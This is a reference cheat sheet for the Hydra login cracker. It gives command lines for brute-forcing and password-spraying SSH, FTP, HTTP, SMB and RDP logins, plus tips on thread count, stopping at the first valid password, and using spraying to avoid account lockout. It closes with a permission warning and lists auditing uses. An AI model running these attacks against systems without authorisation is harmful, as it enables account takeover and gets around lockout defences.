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Hydra Cheat Sheet

hydra is a fast network login cracker supporting many protocols such as SSH, FTP, HTTP, SMB, RDP, and more. It is widely used for online brute-force and password spraying attacks.

Basic Syntax

hydra [options] <target> <service>

SSH Brute Force

hydra -l root -P passwords.txt ssh://192.168.1.10

FTP Brute Force

hydra -L users.txt -P passwords.txt ftp://192.168.1.10

HTTP POST Form

hydra -L users.txt -P passwords.txt 192.168.1.10 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid"

HTTP GET Basic Auth

hydra -L users.txt -P passwords.txt http-get://example.com

SMB Brute Force

hydra -L users.txt -P passwords.txt smb://192.168.1.10

RDP Brute Force

hydra -L users.txt -P passwords.txt rdp://192.168.1.10

Password Spraying

hydra -L users.txt -p Spring2025! ssh://192.168.1.10

Stop After First Valid Password

hydra -f -l admin -P passwords.txt ssh://192.168.1.10

Increase Speed / Threads

hydra -t 16 -L users.txt -P passwords.txt ssh://192.168.1.10

Verbose Output

hydra -V -L users.txt -P passwords.txt ssh://192.168.1.10

Restore Session

hydra -R

Typical Workflow

nmap -p 22,80,445 target
hydra -L users.txt -P passwords.txt ssh://target

Common Issues

Too many connections

Reduce threads with -t.

Account lockout

Use password spraying instead of brute force.

  • medusa
  • ncrack
  • crunch
  • hashcat

Use Cases

  • Credential auditing
  • Weak password detection
  • Network service testing
  • Red team operations

Danger

Use Hydra only on systems you own or have explicit permission to test.